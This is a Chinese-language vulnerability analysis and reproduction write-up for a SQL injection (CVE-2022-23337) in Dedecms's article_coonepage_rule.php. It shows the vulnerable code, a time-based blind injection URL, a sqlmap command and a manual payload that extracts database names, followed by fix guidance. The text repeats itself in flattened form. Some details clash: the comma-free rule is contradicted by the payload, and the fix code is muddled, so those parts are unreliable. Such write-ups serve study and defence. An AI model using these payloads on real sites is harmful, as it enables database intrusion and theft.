从漏洞通告探索至POC——Dedecms article_coonepage_rule.php SQL注入(CVE-2022-23337)
字数 1420 2025-08-06 20:12:46

Dedecms article_coonepage_rule.php SQL注入漏洞(CVE-2022-23337)分析与复现

0x00 漏洞概述

CVE-2022-23337是Dedecms v5.7.87及以下版本中存在的一个SQL注入漏洞,漏洞点位于article_coonepage_rule.php文件中。该漏洞允许攻击者通过构造特殊的请求参数执行SQL注入攻击,获取数据库敏感信息。

影响版本:Dedecms < v5.7.89
漏洞类型:SQL注入
危险等级:高危

0x01 环境搭建

1.1 影响版本确认

  • 官网更新日志显示v5.7.89才修复此漏洞
  • v5.7.42至v5.7.88版本均受影响

1.2 复现环境配置

推荐环境:

  • Dedecms V5.7.80 UTF-8正式版
  • PHP 5.6.9nts
  • Apache 2.4.39
  • MySQL 5.7.26

安装步骤:

  1. 从GitHub下载Dedecms V5.7.80
  2. 解压后访问/install目录完成安装
  3. 后台地址:http://your-ip/DedeCMS-5.7.80/dede/

0x02 漏洞分析

2.1 漏洞定位

漏洞文件:/dede/article_coonepage_rule.php
关键参数:ids

漏洞代码逻辑:

if($action == 'del') {
    if(!empty($ids)) {
        if(strpos($ids, ',') !== false) {
            // 多选删除逻辑
            $query = "DELETE FROM `#@__co_onepage` WHERE id IN($ids)";
        } else {
            // 单个删除逻辑
            $query = "DELETE FROM `#@__co_onepage` WHERE id='$ids'";
        }
        $dsql->ExecuteNoneQuery($query);
    }
}

2.2 漏洞成因

  1. 直接拼接用户输入的ids参数到SQL语句中
  2. 未对ids参数进行有效过滤和转义
  3. $safeCheck默认为false,跳过了SQL安全检查
  4. 两种删除逻辑都存在问题:
    • 单删除:使用单引号包裹,但被addslashes转义
    • 多删除:直接拼接,无任何过滤

0x03 漏洞利用

3.1 利用限制

  1. 无直接回显,只能使用盲注或报错注入
  2. 单引号被转义,难以闭合
  3. 注入语句中不能包含逗号(否则会进入多选删除逻辑)

3.2 有效利用方法

盲注利用

使用ELT函数构造时间盲注:

/DedeCMS-5.7.80/dede/article_coonepage_rule.php?action=del&ids=ELT(3337>3336,SLEEP(5))

SQLMap自动化利用

使用高级别参数:

python2 sqlmap.py -r dede1.txt -p ids --level 5 --technique T --dbs

手工注入Payload示例

获取数据库名:

ids=ELT(ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS NCHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))!=116,SLEEP(3))

0x04 修复方案

v5.7.89版本修复方式:

  1. 将传入的$ids转换为变量,防止字符拼接
  2. 对多选删除部分使用explode函数分隔数组元素
  3. 增加参数过滤

修复代码关键点:

// 将$ids转换为整型
$ids = intval($ids);
// 或多选情况下分隔为数组
$idsArr = explode(',', $ids);
foreach($idsArr as $id) {
    $id = intval($id);
    // 安全查询
}

0x05 相关SQL函数解析

函数 用法 描述
ELT ELT(N,str1,str2,...) 根据N值返回对应位置的字符串
ORD ORD(str) 返回字符串最左边字符的ASCII码
MID MID(column,start[,len]) 从字符串中提取子串
DISTINCT SELECT DISTINCT column 返回唯一不同的值
IFNULL IFNULL(exp1,exp2) 如果exp1不为NULL则返回exp1,否则返回exp2
CAST CAST(exp AS type) 将表达式转换为指定数据类型

0x06 总结

  1. 该漏洞源于未过滤的用户输入直接拼接SQL语句
  2. 利用需要绕过逗号限制,使用特定函数构造盲注
  3. 修复方案应对所有用户输入进行严格过滤和类型转换
  4. 开发中应避免直接拼接SQL,使用预处理语句

参考链接

  1. CVE-2022-23337
  2. Dedecms官方网站
Dedecms article_ coonepage_ rule.php SQL注入漏洞(CVE-2022-23337)分析与复现 0x00 漏洞概述 CVE-2022-23337是Dedecms v5.7.87及以下版本中存在的一个SQL注入漏洞,漏洞点位于 article_coonepage_rule.php 文件中。该漏洞允许攻击者通过构造特殊的请求参数执行SQL注入攻击,获取数据库敏感信息。 影响版本:Dedecms < v5.7.89 漏洞类型:SQL注入 危险等级:高危 0x01 环境搭建 1.1 影响版本确认 官网更新日志显示v5.7.89才修复此漏洞 v5.7.42至v5.7.88版本均受影响 1.2 复现环境配置 推荐环境: Dedecms V5.7.80 UTF-8正式版 PHP 5.6.9nts Apache 2.4.39 MySQL 5.7.26 安装步骤: 从GitHub下载Dedecms V5.7.80 解压后访问 /install 目录完成安装 后台地址: http://your-ip/DedeCMS-5.7.80/dede/ 0x02 漏洞分析 2.1 漏洞定位 漏洞文件: /dede/article_coonepage_rule.php 关键参数: ids 漏洞代码逻辑: 2.2 漏洞成因 直接拼接用户输入的 ids 参数到SQL语句中 未对 ids 参数进行有效过滤和转义 $safeCheck 默认为false,跳过了SQL安全检查 两种删除逻辑都存在问题: 单删除:使用单引号包裹,但被 addslashes 转义 多删除:直接拼接,无任何过滤 0x03 漏洞利用 3.1 利用限制 无直接回显,只能使用盲注或报错注入 单引号被转义,难以闭合 注入语句中不能包含逗号(否则会进入多选删除逻辑) 3.2 有效利用方法 盲注利用 使用ELT函数构造时间盲注: SQLMap自动化利用 使用高级别参数: 手工注入Payload示例 获取数据库名: 0x04 修复方案 v5.7.89版本修复方式: 将传入的 $ids 转换为变量,防止字符拼接 对多选删除部分使用 explode 函数分隔数组元素 增加参数过滤 修复代码关键点: 0x05 相关SQL函数解析 | 函数 | 用法 | 描述 | |------|------|------| | ELT | ELT(N,str1,str2,...) | 根据N值返回对应位置的字符串 | | ORD | ORD(str) | 返回字符串最左边字符的ASCII码 | | MID | MID(column,start[ ,len ]) | 从字符串中提取子串 | | DISTINCT | SELECT DISTINCT column | 返回唯一不同的值 | | IFNULL | IFNULL(exp1,exp2) | 如果exp1不为NULL则返回exp1,否则返回exp2 | | CAST | CAST(exp AS type) | 将表达式转换为指定数据类型 | 0x06 总结 该漏洞源于未过滤的用户输入直接拼接SQL语句 利用需要绕过逗号限制,使用特定函数构造盲注 修复方案应对所有用户输入进行严格过滤和类型转换 开发中应避免直接拼接SQL,使用预处理语句 参考链接 CVE-2022-23337 Dedecms官方网站